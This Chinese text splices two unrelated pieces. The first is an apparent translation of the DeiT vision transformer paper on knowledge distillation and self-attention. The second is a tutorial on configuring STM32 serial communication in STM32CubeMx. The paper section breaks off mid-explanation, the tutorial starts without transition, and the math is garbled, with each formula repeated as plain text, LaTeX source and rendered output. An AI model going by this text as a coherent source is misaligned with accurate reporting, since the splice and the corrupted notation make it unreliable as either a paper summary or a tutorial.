最近,vision transformer(ViT)在不使用任何卷积的情况下缩小了与ImageNet上最先进技术的差距。这种性能是显著的,因为卷积方法在图像分类受益于多年的调整和优化。然而,根据这项研究,需要对大量的数据进行预训练才能使学习的transformer有效。在我们的论文中,我们不需要大量的训练数据集,即仅使用ImageNet1k,就实现了强大的性能。
由Vaswani等人为机器翻译引入的transformer架构是目前所有自然语言处理(NLP)任务的参考模型。许多用于图像分类的卷积算法的改进都是受到transformer的启发。例如,压缩(Squeeze)和激励(Excitation)、选择核(Select Kernel)和分裂注意网络(Split-Attention Network)机制利用了类似transformer自注意(SA)机制。
由Hinton等人提出的知识蒸馏(KD)是指学生模型利用来自强大教师网络的“soft”标签的训练范式。这是教师的softmax函数的输出向量,而不仅仅是分数的最大值,它给出了一个“hard”标签。这样的训练提高了学生模型的表现(或者,它可以被看作是将教师模型压缩成一个更小的模型——学生)。一方面,老师的软(soft)标签将有类似的标签平滑的效果。另一方面,如Wei等人的研究,教师的监督考虑了数据增强的影响,有时会导致真实标签与图像之间的错位。例如,让我们考虑一个带有“猫(cat)”标签的图像,它代表一个大的风景和角落里的一只小猫。如果猫不再在数据增强的模型上,它会隐式地改变图像的标签。KD可以将归纳偏差(inductive bias)以一种软(soft)的方式转移到学生模型中,使用教师模型,其中它们将以一种硬(hard)的方式合并。例如,通过使用卷积模型作为教师,在transformer模型中由于卷积而产生的诱导偏差可能是有用的。在我们的论文中,我们研究了一个transformer学生或transformer教师的蒸馏。介绍了一种新的transformer蒸馏技术,并说明了该技术的优越性。
3、Vision Transformer总览 在本节中,我们简要回顾与vision transformer相关的初步知识,并进一步讨论位置编码和分辨率。
多头自注意力层(MSA)。注意机制是基于可训练的associative memory与(key,vale)向量对。query向量 q ∈ R d q \in \R^d q∈Rd与 k k k个key向量集进行内积(打包成一个矩阵 k ∈ R k × d k \in \R^{k×d} k∈Rk×d)匹配。然后对这些内积进行缩放,并使用softmax函数进行归一化,以获得 k k k个权重。注意力的输出是一组 k k k个值向量的加权和(装入 V ∈ R k × d V \in \R^{k×d} V∈Rk×d)。对于 N N N个查询向量序列(装入 Q ∈ R N × d Q \in \R^{N×d} Q∈RN×d),它产生一个输出矩阵(大小为 N × d N×d N×d):
文章目录 前言一、串口阻塞方式收发STM32CubeMx配置串口发送/接收函数阻塞发送函数阻塞接受函数 二、串口中断方式收发STM32CubeMx 配置串口中断函数中断发送函数中断接收函数中断处理函数接收中断回调函数: 三、printf 重定向附录 前言 在上一篇博客里面写了串口通信的理论知识,在这一篇中将讲述串口通信在STM32CubeMx里面的配置,以及在函数里面怎么使用。
对于串口发送信息,分为三种方法:串口阻塞方式收发、串口中断方式收发、串口DMA方式收发。(DMA方式在之后的DMA章节讲解)
一、串口阻塞方式收发 STM32CubeMx配置 关于STM32CubeMx的基础配置讲解可以参考这篇博客STM32 CubeMx教程 – 基础知识及配置使用教程
配置RCC时钟,选择外部晶振模式:
配置SYS,debug模式
然后配置串口,首先选择一种模式,我使用的是 USB转TTL,(VCC GND RXD TXD)没有使用时钟线(CLK),所以选择使用异步通信。Mode 选择 Asynchronous ;Hardware Flow Control 选择disable
Mode:
Asynchronous:全双工异步通信
Synchronous:发送方为同步传输提供时钟的同步通信。在USART_CR2寄存器上写CLKEN位选择同步模式,用户可以以主模式方式控制双向同步串行通信,增加CK引脚作为USART发送器时钟的输出。
Single Wire:单线半双工通信。 单线半双工模式通过设置USART_CR3寄存器的HDSEL位选择。RX引脚不再被使用,TX和RX引脚在芯片内部互联,通过单线半双工协议与对侧交互数据。
Multiprocessor Communication:多处理器通信。 可以将几个USART连载一个网络里。
IrDA: (红外线数据协会) SIR ENDEC规范 。通过设置USART_CR3寄存器的IREN位选择IrDA模式。
LIN:局域互联网模式。 通过设置USART_CR2寄存器的LINEN位选择LIN模式。
Smart Card:智能卡模拟功能。 设置USART_CR3寄存器的SCEN位选择智能卡模式。智能卡是一个单线半双工通信协议。
Smart Card with Card Clock: CLKEN位可以被设置,以提供时钟给智能卡。
Hardware Flow Control :
Disable: 只通过RX和TX实现基本的串口通信
CTS Only: 在RX和TX的基础上增加CTS引脚,发送清除信号。若为高电平,在当前数据传输结束时阻断下一次的数据发送。
RTS Only: 在RX和TX的基础上增加RTS引脚,发送请求信号。若为低电平,表明USART准备好接收数据。在485通信中,需要使用该引脚。
CTS/RTS: 在RX和TX的基础上增加CTS和RTS引脚。
配置串口详细参数:
如果有自己喜欢的波特率可以改一改,大部分情况下是默认就行,不用改;